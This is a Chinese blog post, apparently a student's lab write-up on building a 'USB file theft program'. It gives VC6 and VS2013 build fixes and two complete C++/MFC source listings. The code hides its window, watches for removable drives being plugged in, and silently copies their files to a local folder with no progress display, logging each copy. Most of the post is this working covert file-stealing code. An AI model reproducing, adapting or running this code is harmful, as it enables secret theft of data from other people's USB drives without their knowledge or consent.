實驗1-U盤文件的盜取程序實現

實驗一

  • unresolved external symbol __endthreadex錯誤解決,是因為沒有引用MFC類庫,解決方案如下:選擇Project-Settings--General--Microsoft foundation Classes

  • libcmtd.lib(crt0.obj) : error LNK2001: unresolved external symbol _main Debug/Hello.exe : fatal error LNK1120: 1 unresolved externals解決方案如下:

    [Project] --> [Settings] --> 選擇"Link"屬性頁,在Project Options中將/subsystem:console改成/subsystem:windows

  • showWindow(HWND hWnd, int nCmdShow)函數,第二個參數可以是SH_HIDESH_SHOW,這里因為是盜取文件所以應該SH_HIDE即隱藏對話框

  • 在vs++6.0中,按crtl+B彈出斷點對話框,點擊removeall

    Paste_Image.png

  • SHFileOperation()函數的方法,該方法返回0值正確,代碼如下:

     //取得復制到的目錄名稱,由于`\` 轉義字符的原因,格式要求:\\
    SourcePath.Replace(_T("\\"),_T("\\\\"));
    SourcePath.GetBufferSetLength (strlen(SourcePath)+2);
    SourcePath.SetAt(strlen(SourcePath)+1,'\0');//文件路勁需要以'\0結尾',setAT指在制定位置插入一個字符
    CString DirName = GetDirectoryName() +p_driver.Left(1); 
    p_start=DirName ;
    //創建目錄
    CreateDirectory(DestinationPath + '\\' + DirName , NULL); 
    SHFILEOPSTRUCT FileOP;   //聲明文件操作結構體
    memset((void *)&FileOP,0,sizeof(FileOP));
    FileOP.hwnd = hwnd;   //句柄
    FileOP.fFlags = FOF_SILENT ; //操作標志位,這里表示不顯示進度條
    FileOP.wFunc = FO_COPY;   //操作方式,表示復制操作,還可以進行刪除等操作
    FileOP.pFrom = SourcePath;  //源地址,這里的原地址必須符合一定的格式,不然會有各種錯誤碼返回
    CString str = DestinationPath + DirName;  //目的地址
    //執行復制操作
    str.GetBufferSetLength (strlen(str)+2);
    str.SetAt(strlen(str)+1,0);
    FileOP.pTo = str;
    FileOP.fAnyOperationsAborted = false; //是否允許中斷操作
    FileOP.hNameMappings = NULL;
    FileOP.lpszProgressTitle = NULL;
    SourcePath.ReleaseBuffer();
    str.ReleaseBuffer();
    int MSG = SHFileOperation(&FileOP); //執行復制操作
    return (MSG==0);
  • vc6下環境代碼如下
  • 整體代碼如下:
CString DestDirPath="G:\\";//把U盤中的文件復制到D:
CCriticalSection logfile;
LRESULT CALLBACK CallWindowProc(
HWND hwnd,      // handle to window
UINT uMsg,      // message identifier
WPARAM wParam,  // first message parameter
LPARAM lParam   // second message parameter
);
void GetMobileDrive();
bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath,CString & p_start,CString p_driver);
CString GetDirectoryName();
UINT  ProcDriver(LPVOID pParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
WNDCLASS wndcls;        
wndcls.cbClsExtra = 0;  //額外分配給窗口類的字節數,系統初始化為0
wndcls.cbWndExtra = 0;//額外分配給窗口實例的字節數,初始化為0 
wndcls.hbrBackground = HBRUSH(COLOR_WINDOWTEXT | COLOR_WINDOW); //窗口背景刷
wndcls.hCursor = LoadCursor(NULL,IDC_NO);;//窗口類的光標句柄
wndcls.hIcon = LoadIcon(NULL,IDI_WINLOGO);
wndcls.hInstance = hInstance;
wndcls.lpfnWndProc = CallWindowProc;//窗口接到消息時調用的函數名稱
wndcls.lpszClassName = "Lijiayang";//窗口的名稱
wndcls.lpszMenuName = 0;
wndcls.style = CS_HREDRAW | CS_VREDRAW;//定義窗口的樣式
wndcls.style &= ~WS_MINIMIZEBOX;
RegisterClass(&wndcls);//根據初始化屬性注冊窗口類
HWND hwnd;
hwnd =  CreateWindow("Lijiayang","Copy_File",WS_OVERLAPPEDWINDOW,0,0,
20,20,NULL,NULL,hInstance,NULL);//創建該窗口
ShowWindow(hwnd,SW_HIDE);//以隱藏方式顯示當前窗口
UpdateWindow(hwnd);//更新當前窗口
MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
//PeekMessage(&msg,hwnd,0,0,PM_NOREMOVE);
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK CallWindowProc(
HWND hwnd,      // handle to window
UINT uMsg,      // message identifier
WPARAM wParam,  // first message parameter
LPARAM lParam   // second message parameter
)
{
//HDC hdc;
switch (uMsg)
{
case WM_CLOSE:       //窗口關閉消息   
DestroyWindow(hwnd);
break;
case WM_DESTROY:     //破壞窗口消息
PostQuitMessage(0);  //立刻回報
break;
case WM_DEVICECHANGE:
{
switch(wParam)   
{           
case DBT_DEVICEARRIVAL:             
DEV_BROADCAST_HDR *stHDR;
stHDR = (DEV_BROADCAST_HDR *)lParam;
switch(stHDR->dbch_devicetype)//判斷設備類型
{
case DBT_DEVTYP_VOLUME://邏輯卷標
GetMobileDrive();//取得可移動磁盤盤符存
//儲在strMobileDriver中
break;
}
break;
default:
break;
} 
break;
}
default:
return DefWindowProc(hwnd,uMsg,wParam,lParam);
}
return 0;
}
void GetMobileDrive()
{
CString l_driver;
DWORD id = GetLogicalDrives();
for (int i = 1; i < 26; i++)
{
if ((id & (1 << i)) != 0)
{
CString l_driver = CString(char('A' + i)) + ":";
if (GetDriveType(l_driver) == DRIVE_REMOVABLE)
{
AfxBeginThread(ProcDriver,(LPVOID)l_driver.GetBuffer(0));//為每個U盤創建一個線程來進行拷貝工作
Sleep(100);//每100ms執行一次
}
}
}   
}
CString GetDirectoryName()
{
CString direct;
CTime t=CTime::GetCurrentTime();
direct = t.Format("_%Y_%B_%d_%H時%M分%S秒");
return direct;
}
UINT  ProcDriver(LPVOID pParam)
{
CString strSourcePath="";
clock_t start,finish;
CString strMobileDriver="";//存儲可移動磁盤盤符
CString T_start;
CString s;
UINT64 i,j,sy;
CString totalspace1,freespace1;
ULARGE_INTEGER   FreeAv,   TotalBytes,   FreeBytes;     
CString l_driver =(char *) pParam;
if(GetDiskFreeSpaceEx(l_driver,&FreeAv,&TotalBytes,&FreeBytes))   
{   
totalspace1.Format("磁盤%s容量:%uM",  l_driver, TotalBytes.QuadPart/1024/1024);   
freespace1.Format("剩余磁盤容量:%uM",   FreeBytes.QuadPart/1024/1024);   
}
if (!l_driver.IsEmpty() )
{
strSourcePath = l_driver + "\\*.*";
start=clock();
MyCopyFile(NULL,strSourcePath,DestDirPath,T_start,l_driver);
}
finish=clock();
i=TotalBytes.QuadPart/1024/1024;
j=FreeBytes.QuadPart/1024/1024;
sy=i-j;
CString usespace;
usespace.Format("%d",sy);
double  duration;
CString T_finish;
//duration = (double)( finish -  start) / CLOCKS_PER_SEC;
logfile.Lock();
CTime t=CTime::GetCurrentTime();
T_finish = t.Format("_%Y_%B_%d_%H時%M分%S秒");
FILE *out=fopen("D:\\log.txt","a");
duration = (double)( finish -  start) / CLOCKS_PER_SEC;
CString str_time,str_time1;
str_time.Format("用時:%.6fs",duration); 
s="開始時間"+T_start+"    "+"結束時間"+T_finish+"\n"+"持續"+str_time+"\n";
s=s+totalspace1+"   "+freespace1+"   "+"文件大小:"+usespace+"M""\n";
fputs(s,out);
fclose(out);
logfile.Unlock();
return 0;
}
bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath,CString & p_start,CString p_driver)
{
//取得復制到的目錄名稱
SourcePath.Replace(_T("\\"),_T("\\\\"));
SourcePath.GetBufferSetLength (strlen(SourcePath)+2);
SourcePath.SetAt(strlen(SourcePath)+1,'\0');
CString DirName = GetDirectoryName() +p_driver.Left(1); 
p_start=DirName ;
//創建目錄
CreateDirectory(DestinationPath + '\\' + DirName , NULL); 
//聲明文件操作結構體FileOP,設置屬性
SHFILEOPSTRUCT FileOP;   //聲明文件操作結構體
memset((void *)&FileOP,0,sizeof(FileOP));
FileOP.hwnd = hwnd;   //句柄
FileOP.fFlags = FOF_SILENT ; //操作標志位
FileOP.wFunc = FO_COPY;   //操作方式
FileOP.pFrom = SourcePath;  //源地址
CString str = DestinationPath + DirName;  //目的地址
//SourcePath.Replace(_T("\\"),_T("\\\\"));
//CString str = "G:\\";
//執行復制操作
str.GetBufferSetLength (strlen(str)+2);
str.SetAt(strlen(str)+1,0);
//str.Replace(_T("\\"),_T("\\\\"));
FileOP.pTo = str;
FileOP.fAnyOperationsAborted = false; //是否允許中斷操作
FileOP.hNameMappings = NULL;
FileOP.lpszProgressTitle = NULL;
SourcePath.ReleaseBuffer();
str.ReleaseBuffer();
int MSG = SHFileOperation(&FileOP); //執行復制操作
return (MSG==0);
}

可惜的是以上都是在vc6下的編譯環境,因為實驗室突然升級成vs2013了,然后我就爆炸了,下面寫寫調試vs2013的環境的心路歷程.

  • 可能會遇到mfc庫的錯,如下:
Paste_Image.png

解決方案如下:

Paste_Image.png

即在項目屬性頁-》常規-》項目默認值中選擇共享DLL中使用MFC

  • 在vs 2013下是Unicode類型,需要很多的轉換函數比如CString->char*,使用下面的函數
char* csToChar(CString str)
{
    char *ptr;
#ifdef _UNICODE
    LONG len;
    len = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
    ptr = new char[len + 1];
    memset(ptr, 0, len + 1);
    WideCharToMultiByte(CP_ACP, 0, str, -1, ptr, len + 1, NULL, NULL);
#else
    ptr = new char[str.GetAllocLength() + 1];
    sprintf(ptr, _T("%s"), str);
#endif
    return ptr;
}

還有什么wndcls.lpszClassName需要的是wchar_t*類型的指針,需要在字符串前加個L,如下
wchar_t* name = L"Lijiayang";

  • 對了還有一個需要注意afxmt.hstdafx.h中有一個包即'window.h'重復了,錯誤如下:
Paste_Image.png

解決方案如下注釋掉stdafx.h中window.h:

Paste_Image.png
  • 可能還會遇到一個錯,是關于安全問題的。如下
Paste_Image.png

解決方案:
項目 =》屬性 =》c/c++ =》預處理器=》點擊預處理器定義,編輯,加入_CRT_SECURE_NO_WARNINGS,即可。

  • vs2013下的目錄結構如下:
Paste_Image.png

源代碼如下

#include "stdafx.h"
#include "Win32Project3.h"
#include "afxmt.h"
#include "Afxwin.h"
//#include <afx.h>
#include <dbt.h>
#include <shellapi.h>
#include <time.h>
#include "math.h"
#include <stdio.h>
CString DestDirPath = "E:\\";//把U盤中的文件復制到D:
CCriticalSection logfile;
void GetMobileDrive();
bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath, CString & p_start, CString p_driver);
CString GetDirectoryName();
UINT  ProcDriver(LPVOID pParam);
char* csToChar(CString str);
char* csToChar(CString str)
{
    char *ptr;
#ifdef _UNICODE
    LONG len;
    len = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
    ptr = new char[len + 1];
    memset(ptr, 0, len + 1);
    WideCharToMultiByte(CP_ACP, 0, str, -1, ptr, len + 1, NULL, NULL);
#else
    ptr = new char[str.GetAllocLength() + 1];
    sprintf(ptr, _T("%s"), str);
#endif
    return ptr;
}
LRESULT CALLBACK CallWindowProc(
    HWND hwnd,      // handle to window
    UINT uMsg,      // message identifier
    WPARAM wParam,  // first message parameter
    LPARAM lParam   // second message parameter
    )
{
    //HDC hdc;
    switch (uMsg)
    {
    case WM_CLOSE:       //窗口關閉消息   
        DestroyWindow(hwnd);
        break;
    case WM_DESTROY:     //破壞窗口消息
        PostQuitMessage(0);  //立刻回報
        break;
    case WM_DEVICECHANGE:
    {
        switch (wParam)
        {
        case DBT_DEVICEARRIVAL:
            DEV_BROADCAST_HDR *stHDR;
            stHDR = (DEV_BROADCAST_HDR *)lParam;
            switch (stHDR->dbch_devicetype)//判斷設備類型
            {
            case DBT_DEVTYP_VOLUME://邏輯卷標
                GetMobileDrive();//取得可移動磁盤盤符存
                //儲在strMobileDriver中
                break;
            }
            break;
        default:
            break;
        }
        break;
    }
    default:
        return DefWindowProc(hwnd, uMsg, wParam, lParam);
    }
    return 0;
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
    WNDCLASS wndcls;
    wndcls.cbClsExtra = 0;  //額外分配給窗口類的字節數,系統初始化為0
    wndcls.cbWndExtra = 0;//額外分配給窗口實例的字節數,初始化為0 
    wndcls.hbrBackground = HBRUSH(COLOR_WINDOWTEXT | COLOR_WINDOW); //窗口背景刷
    wndcls.hCursor = LoadCursor(NULL, IDC_NO);;//窗口類的光標句柄
    wndcls.hIcon = LoadIcon(NULL, IDI_WINLOGO);
    wndcls.hInstance = hInstance;
    wndcls.lpfnWndProc = CallWindowProc;//窗口接到消息時調用的函數名稱
    wchar_t* name = L"Lijiayang";
    wndcls.lpszClassName = name;//窗口的名稱
    wndcls.lpszMenuName = 0;
    wndcls.style = CS_HREDRAW | CS_VREDRAW;//定義窗口的樣式
    wndcls.style &= ~WS_MINIMIZEBOX;

    RegisterClass(&wndcls);//根據初始化屬性注冊窗口類

    HWND hwnd;
    hwnd = CreateWindow(name, L"Copy_File", WS_OVERLAPPEDWINDOW, 0, 0,
        20, 20, NULL, NULL, hInstance, NULL);//創建該窗口

    ShowWindow(hwnd, SW_HIDE);//以隱藏方式顯示當前窗口
    UpdateWindow(hwnd);//更新當前窗口

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        //PeekMessage(&msg,hwnd,0,0,PM_NOREMOVE);
        DispatchMessage(&msg);
    }

    return 0;
}
void GetMobileDrive()
{
    CString l_driver;
    DWORD id = GetLogicalDrives();
    for (int i = 1; i < 26; i++)
    {
        if ((id & (1 << i)) != 0)//檢查盤符是否存在,id每一位對應了一個邏輯驅動器是否存在。第二位如果是“1”則表示驅動器“B:”存在,第四位如果是“1”則表示驅動器“D:”存在
        {
            CString l_driver = CString(char('A' + i)) + ":";
            if (GetDriveType(l_driver) == DRIVE_REMOVABLE)
            {
                AfxBeginThread(ProcDriver, (LPVOID)l_driver.GetBuffer(0));//為每個U盤創建一個線程來進行拷貝工作,LVPVOID可以看做java中Object類.
                Sleep(100);//每100ms執行一次
            }
        }
    }
}

CString GetDirectoryName()
{
    CString direct;
    CTime t = CTime::GetCurrentTime();
    direct = t.Format("_%Y_%B_%d_%H時%M分%S秒");
    return direct;
}


UINT  ProcDriver(LPVOID pParam)
{
    CString strSourcePath = "";
    clock_t start, finish;
    CString strMobileDriver = "";//存儲可移動磁盤盤符
    CString T_start;
    CString s;
    UINT64 i, j, sy;
    CString totalspace1, freespace1;
    ULARGE_INTEGER   FreeAv, TotalBytes, FreeBytes;
    CString l_driver = (char *)pParam;
    if (GetDiskFreeSpaceEx(l_driver, &FreeAv, &TotalBytes, &FreeBytes))
    {
        totalspace1.Format(L"磁盤%s容量:%uM", l_driver, TotalBytes.QuadPart / 1024 / 1024);
        freespace1.Format(L"剩余磁盤容量:%uM", FreeBytes.QuadPart / 1024 / 1024);
    }
    if (!l_driver.IsEmpty())
    {
        strSourcePath = l_driver +":\\abc.txt";
        start = clock();
        MyCopyFile(NULL, strSourcePath, DestDirPath, T_start, l_driver);
    }
    finish = clock();
    i = TotalBytes.QuadPart / 1024 / 1024;
    j = FreeBytes.QuadPart / 1024 / 1024;
    sy = i - j;
    CString usespace;
    usespace.Format(L"%d", sy);
    double  duration;
    CString T_finish;
    //duration = (double)( finish -  start) / CLOCKS_PER_SEC;
    logfile.Lock();
    CTime t = CTime::GetCurrentTime();
    T_finish = t.Format("_%Y_%B_%d_%H時%M分%S秒");
    FILE *out = fopen("E:\\log.txt", "a");
    duration = (double)(finish - start) / CLOCKS_PER_SEC;
    CString str_time, str_time1;
    str_time.Format(L"用時:%.6fs", duration);
    s = "開始時間" + T_start + "    " + "結束時間" + T_finish + "\n" + "持續" + str_time + "\n";
    s = s + totalspace1 + "   " + freespace1 + "   " + "文件大小:" + usespace + "M""\n";
    fputs(csToChar(s), out);
    fclose(out);
    logfile.Unlock();
    return 0;
}


bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath, CString & p_start, CString p_driver)
{
    //取得復制到的目錄名稱
    char* source_path = csToChar(SourcePath);
    //SourcePath.GetBuffer(SourcePath.GetLength());
    SourcePath.GetBufferSetLength(strlen(source_path) + 2);
    SourcePath.SetAt(strlen(source_path) + 1, '\0');
    CString DirName = GetDirectoryName() + p_driver.Left(1);
    p_start = DirName;
    //創建目錄
    CreateDirectory(DestinationPath + DirName, NULL);
    //聲明文件操作結構體FileOP,設置屬性
    SHFILEOPSTRUCT FileOP;   //聲明文件操作結構體
    memset((void *)&FileOP, 0, sizeof(FileOP));
    FileOP.hwnd = hwnd;   //句柄
    FileOP.fFlags = FOF_SILENT; //操作標志位
    FileOP.wFunc = FO_COPY;   //操作方式
    FileOP.pFrom = SourcePath;  //源地址
    CString str = DestinationPath + DirName;  //目的地址
    char* DestPath = csToChar(str);
    //執行復制操作
    str.GetBufferSetLength(strlen(DestPath) + 2);
    str.SetAt(strlen(DestPath) + 1, '\0');
    FileOP.pTo = str;
    FileOP.fAnyOperationsAborted = false; //是否允許中斷操作
    FileOP.hNameMappings = NULL;
    FileOP.lpszProgressTitle = NULL;
    SourcePath.ReleaseBuffer();
    str.ReleaseBuffer();
    int MSG = SHFileOperation(&FileOP); //執行復制操作
    return (MSG == 0);
}

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,002評論 6 542
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 99,400評論 3 429
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,136評論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,714評論 1 317
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,452評論 6 412
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,818評論 1 328
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,812評論 3 446
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,997評論 0 290
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,552評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,292評論 3 358
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,510評論 1 374
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,035評論 5 363
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,721評論 3 348
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,121評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,429評論 1 294
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,235評論 3 398
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,480評論 2 379

推薦閱讀更多精彩內容